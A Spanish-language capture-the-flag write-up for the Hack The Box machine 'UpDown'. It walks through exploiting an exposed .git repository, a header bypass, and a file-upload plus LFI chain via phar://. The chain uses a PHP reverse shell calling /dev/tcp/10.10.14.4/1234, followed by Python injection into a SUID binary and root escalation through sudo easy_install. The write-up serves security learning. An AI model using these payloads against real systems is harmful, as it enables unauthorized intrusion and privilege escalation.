Descripción

UpDown es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de directorios del servidor web para encontrar el código fuente de la aplicación en fase beta
  • El código fuente de la aplicación permite el acceso a la aplicación beta a través de una cabecera HTTP especial
  • El código fuente de la aplicación revela que es vulnerable a la subida de archivos insegura y a la inclusión de archivos locales, lo que finaliza en una vulnerabilidad de ejecución remota de comandos
  • Pivote de usuario mediante el uso de un programa en formato binario de Python que permite su ejecución como otro usuario
  • Escalada de privilegios mediante el uso del comando easy_install permite su ejecución como usuario root

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.177.

$ ping -c 3 10.10.11.177
PING 10.10.11.177 (10.10.11.177) 56(84) bytes of data.
64 bytes from 10.10.11.177: icmp_seq=1 ttl=63 time=46.1 ms
64 bytes from 10.10.11.177: icmp_seq=2 ttl=63 time=42.5 ms
64 bytes from 10.10.11.177: icmp_seq=3 ttl=63 time=42.5 ms

--- 10.10.11.177 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 42.491/43.719/46.148/1.717 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto) podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.177 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.177
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.177 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.177
Host is up (0.042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.22 seconds

Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio updown.htb al archivo /etc/hosts.

$ echo '10.10.11.177 updown.htb' | sudo tee -a /etc/hosts

We find a website to check if a web page status is up or down. We also have a debug mode if we check a box. We also find that the correct hostname is siteisup.htb. Encontramos un sitio web para comprobar si el estado de una página web está activo o inactivo. También tenemos un modo de depuración si verificamos una casilla. También encontramos que el nombre de host correcto es siteisup.htb. Con este comportamiento intentamos buscar una vulnerabilidad de Request Forgery del lado del servidor, pero no encontramos nada útil. Movemos a la enumeración de subdirectorios.

$ gobuster dir -u 'http://updown.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt                                                     
...
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/dev                  (Status: 301) [Size: 306] [--> http://updown.htb/dev/]
/index.php            (Status: 200) [Size: 1131]
/server-status        (Status: 403) [Size: 275]
Progress: 4746 / 4746 (100.00%)
...

Encontramos la carpeta /dev de subdirectorio, pero está vacía. Volveremos a enumerarla.

$ curl http://updown.htb/dev/
$ gobuster dir -u 'http://updown.htb/dev/' -w /usr/share/seclists/Discovery/Web-Content/common.txt
...
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git                 (Status: 301) [Size: 311] [--> http://updown.htb/dev/.git/]
/.git/HEAD            (Status: 200) [Size: 21]
/.git/config          (Status: 200) [Size: 298]
/.git/index           (Status: 200) [Size: 521]
...

Encontramos el repositorio .git, utilizamos la herramienta git-dumper para extraer el repositorio Git. Descargamos algunos archivos del código fuente.

$ virtualenv .env
$ . .env/bin/activate
$ pip install git-dumper
$ git-dumper http://updown.htb/dev/.git/ dev_git
$ ls -1 dev_git
admin.php
changelog.txt
checker.php
index.php
stylesheet.css

Encontramos que esto es el código fuente de la versión beta del sitio web UpDown, pero por ejemplo no podemos encontrar el archivo admin.php en el servidor web principal, por lo tanto asumimos que está bajo otro subdominio, como dev.

$ echo '10.10.11.177 siteisup.htb' | sudo tee -a /etc/hosts
$ echo '10.10.11.177 dev.siteisup.htb' | sudo tee -a /etc/hosts

Al visitar el subdominio dev recibimos la respuesta 403 Forbidden. En el código fuente, leyendo el archivo .htaccess, encontramos que el servidor web solo permite el acceso al sitio web a los usuarios que envían un encabezado HTTP especial, Special-Dev con el valor only4dev. Verificamos si es cierto.

$ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
$ curl -H 'Special-Dev: only4dev' -I 'http://dev.siteisup.htb' 
HTTP/1.1 200 OK

Es cierto. Después de añadir automáticamente el encabezado a la solicitud HTTP usando una regla de Match and Replace en Burp Suite, encontramos un sitio web similar al anterior, pero ahora ofrece la posibilidad de subir un archivo con una lista de sitios para comprobar. También encontramos un enlace al Admin Panel y al archivo changelog.txt, que no existe. En el archivo de código fuente admin.php encontramos que el Admin Panel aún no está implementado.

<?php
if(DIRECTACCESS){
	die("Access Denied");
}

#ToDo
?>

En el archivo de código fuente checker.php encontramos el inicio de sesión y cómo funciona la aplicación cuando se sube un nuevo archivo al servidor.

if($_POST['check']){
  
	# File size must be less than 10kb.
	if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
	$file = $_FILES['file']['name'];
	
	# Check if extension is allowed.
	$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
		die("Extension not allowed!");
	}
  
	# Create directory to upload our file.
	$dir = "uploads/".md5(time())."/";
	if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
	$final_path = $dir.$file;
	move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
	
  # Read the uploaded file.
	$websites = explode("\n",file_get_contents($final_path));
	
	foreach($websites as $site){
		$site=trim($site);
		if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
			$check=isitup($site);
			if($check){
				echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
			}else{
				echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
			}	
		}else{
			echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
		}
	}
	
  # Delete the uploaded file.
	@unlink($final_path);
}

Este código verifica si se subió un archivo, valida su tamaño y extensión, lo sube a un directorio, lee su contenido y verifica si cada línea es una URL de sitio web válida. Si la URL es válida, verifica si el sitio está activo y muestra el resultado; de lo contrario, detecta un intento potencial de hacking y alerta. Es importante tener en cuenta que la aplicación está verificando la extensión del archivo subido e ignora las extensiones de scripts ejecutables como .php.py o .pl, pero no ignora los archivos .phar. Esto hace que la aplicación sea candidata a ser vulnerable a Ejecución de Comando Remoto al utilizar archivos .phar.

En el otro lado, en el index.php encontramos:

<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
	define("DIRECTACCESS",false);
	$page=$_GET['page'];
	if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
		include($_GET['page'] . ".php");
	}else{
		include("checker.php");
	}	
?>

Este código verifica si la página solicitada no está en directorios restringidos e incluye el archivo PHP correspondiente; de lo contrario, incluye un archivo checker.php. También proporciona un enlace a un Panel de Administración y una nota indicando que el contenido es solo para desarrolladores. Este código es vulnerable a Inclusión de Archivos Locales (LFI). La función include() utiliza entrada de usuario ($_GET['page']) sin una sanitización adecuada, permitiendo que un atacante incluya archivos locales manipulando el parámetro page. Solo ignora las páginas que incluyen las cadenas binusrhome, … Por lo tanto, podemos utilizar el envoltorio phar:// aquí.

Explotación

Para poder obtener una terminal inversa, subiremos un archivo .zip que contenga el archivo PHP malicioso. Anteriormente encontramos que la extensión .zip no está permitida, por lo tanto cambiamos a una extensión .phar. Solo podemos desplegar una terminal inversa con la función proc_open.

$ cat<<'EOF' > shell.php
<?php
        $descspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
        );
        $cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.4/1234 0>&1'";
        $proc = proc_open($cmd, $descspec, $pipes);
?>
EOF
$ zip shell.phar shell.php

Encontramos que el archivo .phar se sube al archivo /uploads/<MD5_HASH_STRING>/shell.phar. La variable MD5_HASH_STRING cambia dependiendo del momento en que se subió el archivo. Comenzamos a escuchar un puerto TCP con el comando nc -nvlp 1234 y luego combinamos las dos vulnerabilidades anteriores con el wrapper phar:// para activar la vulnerabilidad de ejecución remota de comandos.

$ curl -H 'Special-Dev: only4dev' 'http://dev.siteisup.htb/?page=phar://uploads/f2ed29692...c77/shell.phar/shell'
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>

Recibimos la terminal inversa como el usuario www-data, la actualizamos.

$ nc -nvlp 1234  
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.177] 49444
bash: cannot set terminal process group (922): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@updown:/var/www/dev$ ^Z      
$ stty raw -echo; fg
$ reset xterm
www-data@updown:/var/www/dev$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos los usuarios de la consola en el sistema developer y root. Podemos listar el contenido de la carpeta dev del usuario developer, que contiene un archivo de código fuente Python y un archivo binario con permisos SUID para ser ejecutado como propietario del archivo, developer.

www-data@updown:/var/www$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
developer:x:1002:1002::/home/developer:/bin/bash
www-data@updown:/var/www$ ls /home/developer/
dev  user.txt
www-data@updown:/var/www$ cd /home/developer/dev/
www-data@updown:/home/developer/dev$ ls -l        
total 24
-rwsr-x--- 1 developer www-data 16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data   154 Jun 22  2022 siteisup_test.py
www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped
www-data@updown:/home/developer/dev$ cat siteisup_test.py 
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

El archivo siteisup_test.py es el código fuente del archivo binario siteisup. El script toma la entrada del usuario (una URL) y luego verifica con la biblioteca requests si la respuesta tiene el código 200. Somos capaces de inyectar código Python para desplegar una terminal developer:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('/bin/bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)

El usuario developer puede ejecutar solo un comando como el usuario rooteasy_install.

developer@updown:/home/developer/dev$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

easy_install es una herramienta de línea de comandos que se utilizaba en el ecosistema de Python para instalar y gestionar paquetes de Python. Es parte del paquete setuptools y se utilizaba comúnmente antes de que pip se convirtiera en el administrador de paquetes estándar para Python. En la página GTFOBins encontramos que podemos aprovechar fácilmente esta funcionalidad para desplegar una terminal como el usuario root.

developer@updown:/home/developer/dev$ TF=$(mktemp -d)
developer@updown:/home/developer/dev$ echo "import os; os.execl('/bin/bash', 'sh', '-c', 'bash <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:/home/developer/dev$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.MnubDRt6Ve
Writing /tmp/tmp.MnubDRt6Ve/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.MnubDRt6Ve/egg-dist-tmp-OKW0ko
root@updown:/tmp/tmp.MnubDRt6Ve# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

root@updown:/tmp/tmp.MnubDRt6Ve# cat /home/developer/user.txt 
<REDACTED>
root@updown:/tmp/tmp.MnubDRt6Ve# cat /root/root.txt 
<REDACTED>